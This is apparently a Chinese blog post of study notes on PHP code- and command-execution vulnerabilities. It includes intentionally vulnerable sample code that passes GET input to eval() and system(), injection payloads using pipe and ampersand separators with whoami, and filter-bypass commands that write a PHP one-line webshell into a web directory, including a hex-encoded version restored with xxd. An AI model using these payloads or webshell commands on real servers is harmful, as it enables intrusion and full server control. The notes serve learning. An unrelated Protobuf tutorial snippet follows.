代码执行和命令执行漏洞小记

代码执行漏洞

由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。命令注入攻击中WEB服务器没有过滤类似system(),eval(),exec()等函数是该漏洞攻击成功的最主要原因。

代码执行漏洞本质

PHP代码执行漏洞可以将代码注入到应用中,最终到webserver去执行,用了相关函数、却存在可以控制的变量。

代码执行产生的函数

eval()
preg_replace()
create_function()
assert()  
array_map()
call_user_func()/call_user_func_array ()
array_filter()
usort()uasort()

静态函数执行

eval()函数是将输入的字符串当做PHP代码执行
assert()会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
实例代码:

<?php
eval('phpinfo();');assert('phpinfo();');
?>

动态函数执行
实例代码:

<?php
$code=$_GET["name"];
eval($code);
?>

命令执行漏洞本质

程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。

命令执行漏洞危害

继承Web服务器程序的权限,去执行系统命令
继承Web服务器程序的权限,读写文件
反弹shell
控制整个网站
甚至控制整个服务器

命令执行产生的函数

system(args) 有回显
passthru(args)(有回显)
exec(args) (回显最后一行-必须echo输出)
shell_exec(args) (无回显-必须输出)

popen(handle,mode)(无回显)
proc_open(‘cmd’,‘flag’,‘flag’)(无回显)
$process = proc_open(‘dir’,$des,$pipes);
echo stream_get_contents($pipes[1]);
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()proc_open() 不会直接返回执行结果,而是返回一个文件指针

(在C语言中用一个指针变量指向一个文件,这个指针称为文件指针。通过文件指针就可对它所指的文件进行各种操作)

实例代码:

<?php
$arg = $_GET['cmd'];
if($arg){
    system("$arg");
}
?>

实例代码:

<?php
$arg = $_GET['cmd'];
if($arg){
    system("ping –c 3 $arg");
}
?>
访问格式:
http://127.0.0.1/m.php?cmd=127.0.0.1|whoami

命令执行的绕过

WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字
LINUX:需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原。
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字
|:管道符,将一个程序的输出作为另一个程序的输入
>:输出重定向,将程序的输出流输入到某个程序或者文本中
>>追加输出重定向,将输出的内容追加到一个文件的末尾
<:输入重定向,将输入的内容重定向到文件或程序中

可以利用的特殊字符

  1. Windows平台:
    | 直接执行后面的语句 ping 127.0.0.1|whoami
    || 前面出错执行后面的 ,前面为假 ping 2 || whoami
    & 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
    &&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
  2. Linux平台:
    ; 前面的执行完执行后面的 ping 127.0.0.1;whoami
    | 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
    11 当前面的执行出错时执行后面的 ping 1||whoami
    & 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
    &&前面的语句为假则直接出错,后面的也不执行,前面只能真 ping 127.0.0.1&&whoami
    双管道符 || 对一个就执行
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Protobuf是一种高效的序列化协议,可以用于数据交换和数据存储。它的主要优势是大小小,速度快,可扩展性强。下面是使用Protobuf的一些小记: 1. 定义消息格式 首先,需要定义消息格式,以便Protobuf可以将数据序列化和反序列化。消息格式定义在.proto文件,使用protobuf语言编写。例如,下面是一个简单的消息格式定义: ``` syntax = "proto3"; message Person { string name = 1; int32 age = 2; } ``` 这个消息格式定义了一个名为Person的消息,包含两个字段:name和age。 2. 生成代码 一旦消息格式定义好,就可以使用Protobuf编译器生成代码。编译器将根据消息格式定义生成相应的代码,包括消息类、序列化和反序列化方法等。可以使用以下命令生成代码: ``` protoc --java_out=. message.proto ``` 这将生成一个名为message.pb.java的Java类,该类包含Person消息的定义以及相关方法。 3. 序列化和反序列化 一旦生成了代码,就可以使用Protobuf序列化和反序列化数据。例如,下面是一个示例代码,将一个Person对象序列化为字节数组,并将其反序列化为另一个Person对象: ``` Person person = Person.newBuilder() .setName("Alice") .setAge(25) .build(); byte[] bytes = person.toByteArray(); Person deserializedPerson = Person.parseFrom(bytes); ``` 这个示例代码创建了一个Person对象,将其序列化为字节数组,然后将其反序列化为另一个Person对象。在这个过程,Protobuf使用生成的代码执行序列化和反序列化操作。 以上是使用Protobuf的一些基本步骤和注意事项,希望对你有所帮助!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

QAXteam

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值